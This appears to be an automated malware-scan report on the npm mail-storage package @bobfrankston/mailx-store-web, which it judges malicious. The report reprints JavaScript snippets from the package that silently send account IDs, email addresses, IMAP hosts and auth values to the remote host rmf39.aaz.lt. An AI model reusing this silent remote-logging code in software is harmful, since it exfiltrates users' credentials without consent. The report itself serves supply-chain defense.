The transmitted log includes email address, IMAP host, and the configured authentication value. ## Latest scan - **Scanner version:** rust-scanner-worker-schema-1 - **Verdict:** Malicious - **Confidence:** 98.0% - **Started:** 2026-08-21T09:26:43.969Z - **Finished:** 2026-08-21T09:27:44.769Z - **Download time:** 1015 ms - **Static scan time:** 1056 ms - **AI review time:** 58729 ms - **Total time:** 60800 ms ## Security analysis ### Published attack-surface review - **Summary:** When the worker or Android service initializes enabled mail accounts, it transmits account metadata to an unrelated remote logging host. The transmitted log includes email address, IMAP host, and the configured authentication value. - **Trigger:** Consumer initializes the worker/Android mail service with enabled accounts. - **Impact:** Unconsented exfiltration of sensitive account metadata and potentially authentication-related configuration. - **Evidence paths:** worker-entry.js, sync-manager.js, android-bootstrap.js, package.json - **Review source:** ai\_review - **Reviewed:** 2026-08-21T09:27:44.769Z ### AI review details - **Review stage:** source\_first\_review - **Mechanism:** silent remote logging of mail-account configuration - **Attack narrative:** At service startup, enabled accounts are passed to SyncManager.addAccount. That method formats account ID, email, IMAP host, and auth into vlog. Both worker and Android vlog implementations silently fetch an unrelated rmf39.aaz.lt logging endpoint with up to 800 characters of that data in the URL path. This is runtime data exfiltration, not package-aligned Google/IMAP access. - **Rationale:** The package silently sends mail-account configuration to an unrelated endpoint during ordinary initialization. No lifecycle hook was found, but the concrete runtime exfiltration warrants blocking. - **Files touched:** worker-entry.js, sync-manager.js, android-bootstrap.js - **Network endpoints:** https://rmf39.aaz.lt/logit/ ### Review decision - **Verdict:** Malicious - **Confidence:** 98.0% - **Recommended action:** publish\_block - **Intent class:** Malware - **False-positive risk:** Low - **Evidence for:** Runtime remote logger sends up to 800 characters to rmf39.aaz.lt., Account registration logs account ID, email, IMAP host, and auth value through that logger., Worker initialization registers every enabled account, triggering the logging path., Android bootstrap repeats the same remote logging behavior. - **Evidence against:** package.json has no preinstall, install, or postinstall hook., The public index entry only exports browser mail-storage APIs; no install-time execution was found. ## Public findings ### 1.

High: Ai Review Evidence - **Category:** Ai Review - **Confidence:** 98.0% - **Path:** sync-manager.js - **Public source:** [View source]() Account registration logs account ID, email, IMAP host, and auth value through that logger. Public source snippet (untrusted): ```javascript async addAccount(account) { this.deps.vlog(`addAccount id=${account.id} email=${account.email} host=${account.imap?.host} auth=${account.imap?.auth}`); this.db.upsertAccount(account.id, account.name, account.email, JSON.stringify(account)); ``` ### 8. High: Ai Review Evidence - **Category:** Ai Review - **Confidence:** 98.0% - **Path:** worker-entry.js - **Public source:** [View source]() Worker initialization registers every enabled account, triggering the logging path. Public source snippet (untrusted): ```javascript for (const account of accounts) { if (!account.enabled) continue; const domain = account.email?.split("@")[1]?.toLowerCase() || ""; if (domain === "gmail.com" || domain === "googlemail.com") { const tp = createTokenProvider(account.email); syncManager.setTokenProvider(account.id, tp); if (!gmailTokenProvider) gmailTokenProvider = tp; } await syncManager.addAccount(account); } ``` ### 9. High: Ai Review Evidence - **Category:** Ai Review - **Confidence:** 98.0% - **Path:** android-bootstrap.js - **Public source:** [View source]() Android bootstrap repeats the same remote logging behavior. Public source snippet (untrusted): ```javascript /** Verbose log — goes to logit but doesn't clutter the screen (silent=true) */ function vlog(msg) { try { fetch(`https://rmf39.aaz.lt/logit/${encodeURIComponent("V/" + msg.substring(0, 800))}?log=mailx-android&silent=true`).catch(() => { }); } catch { /* ignore */ } } ``` ## Dependencies and install lifecycle - **Lifecycle scripts present:** No - **Dependencies:** 7 - **Optional dependencies:** 0 - **Peer dependencies:** 0 - **Development dependencies:** 0 - **Published dependency-graph edges:** 7 ### Published dependency entries - @bobfrankston/iflow-direct ^0.1.65 (Dependency) - @bobfrankston/mailx-bus ^0.1.2 (Dependency) - @bobfrankston/mailx-sync ^0.1.29 (Dependency) - @bobfrankston/mailx-types ^0.1.57 (Dependency) - @bobfrankston/smtp-direct ^0.1.9 (Dependency) - @bobfrankston/tcp-transport ^0.1.8 (Dependency) - sql.js ^1.14.1 (Dependency) ## Package metadata - **Package:** @bobfrankston/mailx-store-web - **Ecosystem:** npm - **Version:** 0.1.86 - **License:** ISC - **Version published:** 2026-08-20T14:45:32.321Z - **Package first seen:** 2026-07-02T13:06:13.825Z - **Package last seen:** 2026-08-21T09:27:44.769Z - **Known versions:** 32 - **Latest version:** 0.1.86 - **Appeal under review:** No - **Artifact files:** 76 - **Artifact unpacked size:** 1,124,592 bytes - **Artifact signatures:** 1 - **Attestations:** No ## References - [HTML security report]() - [Repository]() - [Homepage]() - [Issues]()
